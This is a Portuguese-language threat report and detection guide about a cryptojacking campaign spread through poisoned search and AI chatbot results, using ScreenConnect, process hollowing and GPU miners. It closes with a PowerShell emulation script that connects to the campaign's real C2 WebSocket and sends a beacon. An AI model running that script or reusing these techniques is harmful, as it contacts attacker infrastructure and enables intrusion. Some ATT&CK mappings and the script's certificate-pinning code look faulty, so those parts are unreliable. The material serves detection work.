De Resultados de Busca Envenenados à Mineração GPU: Uma Campanha de Cryptojacking Usando ScreenConnect e Utilitários .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Esta campanha usa envenenamento de SEO e resultados de busca manipulados de chatbots de IA para atrair usuários a baixarem ferramentas falsas de monitoração de hardware. Os instaladores troianizados carregam um DLL malicioso que é carregado lateralmente em uma aplicação legítima e discretamente implanta o ScreenConnect. Os atacantes então usam o ScreenConnect para lançar um carregador RunPE personalizado que esvazia binários .NET assinados pela Microsoft e injeta a carga útil da próxima etapa. A etapa final baixa ferramentas de mineração de GPU como gminer, lolMiner, e SRBMiner-MULTI, então mantém persistência através de tarefas agendadas, chaves Run do registro, e um atalho de inicialização. O malware também adiciona exclusões no Windows Defender para reduzir a chance de detecção.
Investigação
Pesquisadores da Microsoft Defender mapearam toda a cadeia de infecção, incluindo o método de sideloading de DLL, abuso do ScreenConnect como uma ferramenta de gerenciamento remoto e uso de um carregador RunPE personalizado chamado SimpleRunPE.exe. Analistas recuperaram os argumentos de linha de comando do ScreenConnect, identificaram a lista de binários .NET assinados usados para o esvaziamento de processo, e documentaram um ponto de comando e controle protegido por um certificado TLS fixado. A investigação também descobriu infraestruturas de suporte como domínios maliciosos, endereços IP, e detalhes do provedor de DNS vinculados à campanha.
Mitigação
Os defensores devem habilitar a proteção baseada em nuvem, aplicar regras de redução de superfície de ataque, bloquear arquivos executáveis que não atendem a requisitos de reputação, prevalência, ou idade, e ativar a proteção da web e rede no Microsoft Defender for Endpoint. Ferramentas de gerenciamento remoto como ScreenConnect devem ser desativadas onde desnecessárias ou rigorosamente controladas onde requeridas, com monitoramento para tarefas agendadas não autorizadas e entradas de registro Run suspeitas. Quaisquer exclusões do Windows Defender adicionadas pelo malware devem ser removidas imediatamente, e os domínios maliciosos e endereços IP identificados devem ser bloqueados.
Resposta
If RuntimeHost.exe or SimpleRunPE.exe é encontrado sendo executado a partir de diretórios de cache ocultos, isole o host afetado imediatamente, termine a sessão relacionada ao ScreenConnect, e remova todos os mecanismos de persistência, incluindo tarefas agendadas, chaves Run, e atalhos de inicialização. Bloqueie o domínio minemine.gleeze.com e os endereços IP observados, então busque em todo o ambiente pelos binários de minerador listados e autorun.dll. Finalmente, restaure as proteções do Defender e revise as configurações de exclusão para quaisquer mudanças não autorizadas.
graph TB %% Definições de classes classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% Nós action_initial_access[“<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b><br/>SEO poisoning e links de chatbots de IA entregam ficheiros ZIP maliciosos disfarçados como utilitários.”] class action_initial_access action technique_event_trigger[“<b>Técnica</b> – <b>T1546.009 DLL AppCert</b><br/>autorun.dll colocada ao lado de um utilitário legítimo é carregada quando o utilitário é executado.”] class technique_event_trigger technique process_msiexec[“<b>Processo</b> – msiexec.exe”] class process_msiexec process technique_dll_injection[“<b>Técnica</b> – <b>T1055.001 Injeção de Biblioteca de Ligação Dinâmica</b><br/>autorun.dll invoca msiexec para instalar silenciosamente vcredist_x64.dll malicioso contendo o instalador ScreenConnect.”] class technique_dll_injection technique technique_proxy_execution[“<b>Técnica</b> – <b>T1218.007 Execução Proxy via Msiexec</b><br/>msiexec executa o instalador malicioso e estabelece um cliente ScreenConnect.”] class technique_proxy_execution technique malware_screenconnect[“<b>Malware</b> – Cliente ScreenConnect”] class malware_screenconnect malware persistence_scheduled[“<b>Persistência</b> – <b>T1543 Tarefas Agendadas</b><br/>Tarefas chamadas “Windows System Health”, etc., relançam o malware.”] class persistence_scheduled persistence persistence_registry[“<b>Persistência</b> – <b>T1037.001 Script de Logon</b><br/>São adicionadas chaves Registry Run (HKLM/HKCU\\Run\\WinSysCache).”] class persistence_registry persistence persistence_startup[“<b>Persistência</b> – <b>T1037.004 Script RC</b><br/>Atalho na pasta Startup aponta para RuntimeHost.exe.”] class persistence_startup persistence defense_exclusions[“<b>Evasão de Defesa</b> – <b>T1564.012 Exclusões de Ficheiro/Caminho</b> & <b>T1564.010 Falsificação de Argumentos de Processo</b><br/>Adiciona exclusões do Windows Defender para ficheiros e processos.”] class defense_exclusions defense defense_impair[“<b>Evasão de Defesa</b> – <b>T1562 Comprometer Defesas</b><br/>Usa exclusões para contornar deteção AV.”] class defense_impair defense defense_sandbox[“<b>Evasão de Defesa</b> – <b>T1497 Evasão de Virtualização/Sandbox</b><br/>Verificações de atividade do utilizador (T1497.002) e evasão baseada em tempo (T1497.003) interrompem a execução em ambientes de análise.”] class defense_sandbox defense defense_codesign[“<b>Evasão de Defesa</b> – <b>T1553.002 Subverter Controlos de Confiança</b><br/>Código malicioso executa dentro de binários .NET assinados pela Microsoft através de process hollowing.”] class defense_codesign defense privilege_hollowing[“<b>Escalada de Privilégios</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE inicia um binário .NET legítimo em estado suspenso e injeta o payload.”] class privilege_hollowing privilege c2_websocket[“<b>Comando e Controlo</b> – <b>T1102.002 Websocket</b><br/>wss://minemine.gleeze.com:8443/ws cifrado com TLS pinning.”] class c2_websocket c2 discovery_info[“<b>Descoberta</b> – <b>T1082 Informação do Sistema</b>, <b>T1592.001 Hardware</b>, <b>T1592.002 Software</b><br/>Recolhe CPU, GPU, RAM, versão do SO, produto de segurança, etc., para avaliar viabilidade de mineração.”] class discovery_info discovery %% Fluxo action_initial_access –>|leva a| technique_event_trigger technique_event_trigger –>|carrega| process_msiexec process_msiexec –>|executa| technique_dll_injection technique_dll_injection –>|instala| technique_proxy_execution technique_proxy_execution –>|instala| malware_screenconnect malware_screenconnect –>|cria| persistence_scheduled malware_screenconnect –>|cria| persistence_registry malware_screenconnect –>|cria| persistence_startup malware_screenconnect –>|adiciona| defense_exclusions defense_exclusions –>|permite| defense_impair defense_impair –>|facilita| defense_sandbox defense_sandbox –>|suportado por| defense_codesign defense_codesign –>|permite| privilege_hollowing privilege_hollowing –>|estabelece| c2_websocket c2_websocket –>|recebe| discovery_info
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/Favo NTUSER] (via evento_de_registro)
Ver
Schtasks Aponta para Diretório / Binário / Script Suspeito (via linha_comando)
Ver
Software Alternativo de Acesso / Gerenciamento Remoto (via criação_processo)
Ver
Uso Suspeito de CURL (via linha_comando)
Ver
Chamar Métodos .NET Suspeitos do Powershell (via powershell)
Ver
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Ver
Verificações de Evasão Possíveis (via powershell)
Ver
Binários / Scripts Suspeitos na Localização de Inicialização Automatizada (via evento_arquivo)
Ver
IOCs (HashSha256) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft
Ver
IOCs (SourceIP) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft
Ver
IOCs (DestinationIP) para detectar: Dos resultados de busca envenenados para mineração de GPU: Uma campanha de cryptojacking abusando do ScreenConnect e utilitários .NET da Microsoft
Ver
Comunicação C2 da Binary Esvaziada [Conexão de Rede do Windows]
Ver
Acesso Remoto Persistente e Esvaziamento de Processo via ScreenConnect e SimpleRunPE [Criação de Processo do Windows]
Ver
Execução de Simulação
Pré-requisito: O Teste de Pré-voo de Telemetria e Base deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica (TTP) do adversário projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um atacante já entregou um binário legítimo esvaziado na máquina da vítima. O binário agora inicia um canal C2 persistente sobre um WebSocket conexão parawss://minemine.gleeze.com:8443/ws. Para emular isso, usamos um script PowerShell que cria um .NETClientWebSocket, opcionalmente define um retorno de chamada de validação de certificado TLS personalizado (simulando fixação de certificado), e mantém a conexão por um breve período. -
Script de Teste de Regressão:
# Simular comunicação C2 de um binário esvaziado # Requisitos: PowerShell 5+ (classes .NET integradas) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Criar cliente WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # OPCIONAL: Impor fixação de certificado (aceitar apenas uma impressão digital específica) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # placeholder $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "Conectando ao endpoint C2 $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "Conexão estabelecida. Enviando carga útil de sinalização..." # Enviar uma sinalização fictícia (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Manter o canal aberto por uma janela curta } finally { Write-Host "Fechando WebSocket..." $ws.Abort() } -
Comandos de Limpeza:
# Garantir que quaisquer processos WebSocket remanescentes sejam encerrados Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Opcionalmente, remover arquivos temporários usados no teste Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue